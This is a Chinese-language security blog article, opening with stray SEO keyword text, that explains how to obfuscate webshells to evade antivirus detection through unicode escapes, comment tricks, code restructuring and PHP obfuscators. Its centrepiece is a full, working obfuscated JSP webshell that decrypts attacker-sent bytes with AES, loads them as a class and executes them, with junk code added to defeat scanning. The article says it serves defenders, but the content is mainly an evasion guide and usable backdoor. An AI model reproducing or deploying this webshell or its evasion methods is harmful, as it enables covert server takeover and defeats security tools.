北京学做网站,企业网站建站意义,一家做公司点评网站,品牌整合营销方案简介 为了避免被杀软检测到#xff0c;黑客们会对Webshell进行混淆免杀。本文将介绍一些Webshell混淆免杀的思路#xff0c;帮助安全人员更好地防范Webshell攻击。静态免杀是指通过对恶意软件进行混淆、加密或其他技术手段#xff0c;使其在静态分析阶段难以被杀毒软件或安全… 简介 为了避免被杀软检测到黑客们会对Webshell进行混淆免杀。本文将介绍一些Webshell混淆免杀的思路帮助安全人员更好地防范Webshell攻击。静态免杀是指通过对恶意软件进行混淆、加密或其他技术手段使其在静态分析阶段难以被杀毒软件或安全防护产品所检测出来的方法。静态免杀的目的是为了规避杀毒软件的检测机制使恶意软件能够在目标系统上长时间地存活和执行。也就是说让webshell尽量和原本的代码不一致。 混淆字符 混淆字符是最基本的混淆webshell手段之一混淆字符集可以使得杀毒软件无法检测到其原有的代码特征。具体实现就是将webshell的原本的字符编码成另外的字符。这里以哥斯拉的jsp webshell示例。因为java是默认支持unicode编码的。 Java代码示例 然后可以上传vt查杀可以看到还是会被挺多杀软识别的。 现在可以通过给个提到的编码进行替换原有的关键字再次上传vt可以发现少报毒了几个杀软。当然这个只是最简单的方法而已只是证明能够通过一些字符编码使得特征不那么明显实战中并不能完全靠字符编码绕过杀软字符编码主要在实际混淆webshell中只能够起到一个辅助作用。 利用注释 利用注释这种方法是目前较为常用的方法之一其利用的是部分杀软不识别webshell中的注释的特性比如杀软匹配的规则是eval()这个函数那么我们就可以利用注释符号将原本的代码修改成eval/*xxxxx*/()这种写法去进行绕过这使得杀软的规则匹配失败的同时原本的代码还能够正常运行。 Java示例 然后这边是给原本的webshell加上注释之后丢到vt上的查杀效果。 值得注意的是现在大部分杀软会匹配程序注释规则但是并不意味着我们无法使用注释符号去进行绕过。比如杀软会匹配出/*注释内容...*/然后选择性无视注释内部的东西。那么我们就可以使用String s /*; code...; String ss */; code...就是webshell的一行正常代码。这样杀软可能会把两个字符串/* */ 中间的值认为是注释内容从而匹配恶意代码失败。 改变代码特征 改变代码特征是指修改代码原本的写法但是不改变其功能因为大部分杀软静态查杀webshell会有一个语句的特征比如单纯的php一句话木马eval($_POST[x]);很容易就会被杀软查杀但是服务器上运行的php代码有一些文件含有eval然后其参数是根据一系列的函数调用进行传递的就不会被杀软注意到。这也就是最容易绕过杀软的一个特性可以改变程序的代码特征用于绕过杀软。具体就是比如可以用函数封装webshell某段代码用三元表达式代替if else用一些代替写法比如java中的int类型1 可以写作0x1或者是10000-9999这种写法代替用for循环代替while循环也可以是添加任意无用垃圾代码等。 部分代码截图 可以看到免杀效果其实还不是很理想因为实际过程中的免杀并不是单一的方法就能够完成的往往都需要很多种方法混合使用效果才会达到令人满意的地步。以下代码是以上三种方法混合使用混淆的。 全部代码 % page importjava.io.InputStream %
% page importjavax.crypto.spec.SecretKeySpec %
% page importjavax.crypto.Cipher %
% page importjava.io.ByteArrayOutputStream %
% page importjava.io.OutputStream %
% page importjava.io.IOException %%! String xc \u0033\u0063\u0036\u0065\u0030/*\u3333*/ /*\u3333*/\u0062\u0038\u0061\u0039\u0063\u0031\u0035\u0032\u0032\u0034\u0061;class Register extends ClassLoader {public Register(ClassLoader username) {super(username);}public Class Query/*\u3333*/(byte[] password) {int len password.length;String s1 /*;Class? aClass super.defineClass(password, 0XAFFFF - 0XAFFFF, len);String s2 */;return aClass;}}public byte[] x(byte[] s, boolean m) {// 这行代码换了个顺序byte[] bs xc.getBytes();try {String sss /*;String decode \u0041\u0045\u0053;Cipher c Cipher.getInstance(decode);String ccc */;// if代替了原本的三元表达式int flag 0xAFFFF;if (m) {flag 1;} else {flag 2;}String acaw /*;c.init(flag, new SecretKeySpec(bs, decode));String ANANAWU */;String string1 /*;byte[] bytes c.doFinal(s);String string12 */;return bytes;} catch (Exception e) {return null;}}public void run(Object o, ByteArrayOutputStream bos, PageContext pageContext) {// 添加注释/*o.equls(null)*/int x 10;int y 20;// 这里有一些毫无意义的操作x (x y) * 2;y x - y;String meaninglessString Hello, this is a meaningless string.;if (x y) {x x * 2;} else {y y * 2;}String sss /*;o./*o.equls(null)*/equals/*o.equls(null)*/(bos);String ccc */;o./*o.equls(null)*/equals/*o.equls(null)*/(pageContext);String ac //;o.toString/*o.equls(null)*/();}public void run2(byte[] data_bytes, HttpSession session) {String py \u0070\u0061\u0079 /*as*/ \u006c\u006f\u0061\u0064;Register REG new Register(this.getClass().getClassLoader());Class cs REG.Query(data_bytes);session.setAttribute(py, cs);}public Object os_return(HttpSession session) {String py \u0070\u0061\u0079 /*as*/ /*sa*/\u006c\u006f\u0061\u0064;return session.getAttribute(py);}public void pull(ByteArrayOutputStream bos, OutputStream os) throws IOException {byte[] x x(bos.toByteArray(), true);os.write(x);}public void setAttribute(HttpServletRequest request, String key, Object value) {request.setAttribute(key, value);}public ByteArrayOutputStream getBos() {ByteArrayOutputStream arrOut null;arrOut new ByteArrayOutputStream();return arrOut;}
%%try {String header request.getHeader/*o.equls(null)*/(\u0043\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u004c\u0065\u006e\u0067\u0074\u0068);String py \u0070\u0061\u0079 /*as*/ /*sa*/\u006c\u006f\u0061\u0064;int length Integer.valueOf/*o.equls(null)*/(header);byte[] data_bytes new byte[/*o.equls(null)*/length];InputStream is request.getInputStream();// for循环替代了while循环for (int _num 0; _num data_bytes./*o.equls(null)*/length; _num is.read(data_bytes, _num, data_bytes.length));// 原本的false变成了 !truedata_bytes x/*o.equls(null)*/(/*o.equls(null)*/data_bytes, /*o.equls(null)*/!true);OutputStream os response.getOutputStream();ByteArrayOutputStream bos getBos();boolean flag session.getAttribute(py) null;if (flag) {run2(data_bytes, session);} else {setAttribute(request, \u0070\u0061\u0072\u0061\u006d /*aaaa*//*SSS*/ \u0065\u0074\u0065\u0072\u0073, data_bytes);String s /*;Class cs (Class) os_return(session);String c */;Object f (cs).newInstance();run(f, bos, pageContext);/* 垃圾代码 */int a 10;int b 20;for (int i 0; i 5; i) {a b;b - a;}String meaninglessString This is a meaningless string.;int[] numbers {1, 2, 3, 4, 5};for (int num : numbers) {if (num % 2 0) {// 不执行任何操作} else {// 不执行任何操作}}/* 垃圾代码 */pull(bos, os);}} catch (Exception e) {}
% 免杀效果 Ps: 以上代码仅仅提供一个思路实际过程中并不用如此多代码量仅需要bypass掉目标服务器上的杀软即可。 利用代码加密工具 上面介绍了一些java代码的混淆php的混淆通常来说更加简单因为php这门语言特性使得很多厂商都会使用php代码加密来保护代码使得代码不会被别人轻易破解/篡改。我们可以利用这些加密来实现免杀的功能。 比如随便找一些php在线混淆哥斯拉的webshell 链接也是没有问题的 虽然vt查看免杀效果有些拉跨但是我们可以加密多次用来绕过。 经过3次混淆的phpwebshell反正我是认不出来了。 类似aspx的混淆以及java其实都可以使用代码混淆的方法去绕过只需要搜索一下混淆器即可。 总结 文本主要分享了一下自己的一些webshell免杀思路。其实webshell免杀的思路无非就是修改webshell的特征不管用手段如何最终达到的肯定是这样的一个目的。当然个人觉得是多种手法混用效果是最好的基本上手动混淆的webshell时效性也比用工具混淆的webshell要长一些。 原创稿件征集 征集原创技术文章中欢迎投递 投稿邮箱eduantvsion.com 文章类型黑客极客技术、信息安全热点安全研究分析等安全相关 通过审核并发布能收获200-800元不等的稿酬。 更多详情点我查看 参与靶场实战戳阅读原文